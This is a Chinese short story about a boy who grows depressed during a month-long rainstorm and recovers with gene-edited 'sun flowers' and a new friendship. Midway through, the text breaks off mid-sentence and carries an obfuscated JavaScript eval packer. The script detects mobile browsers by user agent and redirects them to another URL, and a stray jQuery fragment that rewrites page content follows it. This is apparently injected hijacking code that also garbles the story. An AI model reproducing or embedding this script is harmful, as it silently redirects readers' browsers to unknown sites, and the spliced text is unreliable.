暴雨已经连续下了一个月。
程成站在阳台上，望着窗外灰蒙蒙的天空，玻璃上爬满蜿蜒的水痕。他点燃一支烟，却没有抽，只是看着烟雾在潮湿的空气中缓慢升腾。身后传来妻子苏敏的脚步声，轻得像怕惊扰什么。
"程程又没吃早饭。"苏敏的声音里压着忧虑，"就喝了几口牛奶。"
程成掐灭香烟，转身走向儿子的房间。六岁的程程正坐在床边，手里捏着一辆玩具小汽车，却没有玩，只是机械地来回滑动。一个月前，这孩子还会满屋子跑着模拟引擎声，把沙发当高山，茶几当河流，创造各种冒险故事。现在，那些声音都消失了。
"宝贝，想不想和爸爸一起搭积木？"程成蹲在儿子面前，轻声问道。
程程摇摇头，眼神飘向窗外。那里只有永无止境的雨帘和铅灰色的云层。
"心理医生约的几点？"程成问妻子。
“十点半。"苏敏咬着下唇，"是林栀帮忙约的，她说农研所有了新成果，可能会对程程有帮助。"
国家应对连续暴雨的措施确实得当——物资供应充足，排水系统高效运行，学校和公司正常运转。但阳光的缺席却成了无法替代的缺口。新闻里说，全市心理咨询热线被打爆，尤其是儿童心理门诊，预约已经排到了两个月后。
程成抱起儿子，感受到那小小的身体比一个月前轻了不少。"我们去看医生，好吗？医生会帮你感觉好一点。"
程程把脸埋在爸爸肩头，没有说话。
儿童心理诊所的走廊上坐满了家长和孩子。压抑的啜泣声、不耐烦的呵斥声和电子玩具发出的刺耳音效混在一起。程成注意到大多数孩子都和程程一样，眼神空洞，动作迟缓，像是被这无尽的雨天抽走了灵魂。
"程程家长？"一位护士探头出来，"林医生可以见你们了。"
林医生的办公室出人意料地明亮。虽然窗外依然阴雨连绵，但室内暖黄色的灯光和墙上色彩鲜艳的儿童画作营造出一种人为的晴朗氛围。
程程被安排坐在一张小圆桌旁画画，而大人们则在不远处交谈。
"根据评估，程程确实表现出轻度抑郁症状。"林医生翻看着评估表，"食欲减退、兴趣丧失、情绪持续低落...这些都是长期缺乏阳光的典型反应。"
"我们该怎么办？"苏敏紧紧握着丈夫的手，"他已经一个月没笑过了。"
林医生正要回答，办公室门被轻轻推开。一个年轻的医生进来，手里捧着一束鲜艳的花。
"林主任，我按你说的，把花带来了。"
程成注意到，那束花一进入房间，程程就抬起了头。那些五颜六色的花朵形状像小太阳，在室内灯光下仿佛自带光芒。
"谢谢。"林医生接过花束，"这是程程，今天的小病人。"
年轻的医生走到程程身边，好奇地看着他面前的白纸。"你不喜欢画画吗？"
程程摇摇头，但目光却无法从那些花上移开。
"这是太阳花，"医生温声解释，“农研所培育的。它们能让你感觉像晒太阳一样暖和！"
林医生微笑着解释："这是农研所最新的成果——通过基因编辑增强植物对人类心理的积极影响。这些花能释放特殊芳香分子，直接作用于大脑的愉悦中枢。"
程成看着儿子伸手轻轻触碰那些花瓣，一个月来第一次，程程的嘴角微微上扬。
"可以...可以给我一朵吗？"程程小声问道。
年轻医生从花束中抽出一支开得最灿烂的，递给程程。"送给你。我们这边还有好多呢！"
程程接过花，小心翼翼地捧在手心，低头嗅了嗅。忽然，一滴眼泪落在花瓣上，但伴随着的却是一个小小的、真实的微笑。
"它...它闻起来像夏天。"程程说，声音里有一丝久违的活力。
林医生眼中溢出欣慰："看来程程对这种花的反应非常积极。”
离开诊所时，雨依然下着，但程程紧紧握着那支太阳花，不时低头闻一闻。回家的路上，他甚至指着路边的水洼说："爸爸，看，像不像小湖？"
那天晚上，程程吃了半个月来最完整的一顿饭。睡觉前，他坚持要把太阳花放在床头柜上："这样我就能梦见太阳了。"然后很快入睡，神色安稳。
苏敏站在儿子房门口，眼泪无声滑落。"那花...真的有用。"
程成搂住妻子，望向窗外。天气预报说，这场持续一个月的暴雨将在三天后结束。但此刻，在他们家中，一缕阳光已经提前到来，以一朵太阳花的形式。
第二天清晨，门铃响起。程成开门，看到林升升和他母亲站在门口，手里捧着一束新鲜的太阳花。
"听说程程对太阳花反应很好，"林栀说，"我们带了些其他品种来。"
林升升已经迫不及待地跑向程程的房间，两个孩子的笑声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255698|165629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很快从里面传出。那声音如此珍贵，程成感到胸口一阵温暖。
"谢谢你们。"苏敏声音哽咽，"我们已经很久没听到他这样笑了。"
林栀摆摆手："这是我们应该做的。而且，"她压低声音，"很多孩子受这阴雨天影响，所以农研所加速了太阳花的研发，社区很快会推广。"
程成邀请林家人留下吃午饭。餐桌上，程程和升升坐在一起，两个孩子叽叽喳喳地讨论着学校、玩具和最喜欢的花朵。程程时不时凑近放在餐桌中央的太阳花束，深吸一口气，然后继续他的话题，眼睛里闪烁着久违的光彩。
饭后，林医生打来电话，建议将太阳花治疗与心理咨询结合起来。
"程程的进步很明显，"她在电话里说，"但我们需要巩固这种改善。明天开始，每周三次的心理咨询，配合太阳花，应该能帮助他完全恢复。"
挂断电话后，程成看着客厅里两个孩子正在一起画画。程程画了一个大大的黄色太阳，下面站着两个小人。
"这是我和升升，"程程指着画解释道，"我们在晒太阳。"
升升补充道："等真的太阳出来，我们可以一起去公园！天气预报说快放晴了！"
程成和苏敏相视一笑。或许，这场漫长的雨季终于要结束了。而在这个过程中，他们收获的不仅是一束能带来心理阳光的花朵，更是一份珍贵的情谊。
当傍晚林家人告辞时，程程主动拥抱了升升。"明天还能来吗？"他问，声音里充满期待。
升升用力点头："当然！我答应做你的太阳花使者，直到真正的太阳回来！"
送走客人后，程程跑到阳台上，望着依然阴沉的天空，但这次他的表情不再迷茫。
"爸爸，"他指着云层中一处稍亮的地方，"我觉得太阳就在那后面，它很快就会出来了。"
程成蹲下身，与儿子平视："是的，宝贝，太阳一直都在。有时候它只是需要一点时间休息。"
程程若有所思地点点头，然后跑回房间，拿出那支已经开始蔫了的太阳花："它需要水，"他认真地说，"这样明天还能继续香香的。"
苏敏帮他把花插进一个小花瓶里，放在他床头。那天晚上，程程入睡前说的最后一句话是："明天会更好。"
窗外，雨声依旧，但屋内，一束变异的太阳花正静静散发着无形的温暖，治愈着一颗因长期不见阳光而难过的小小心灵。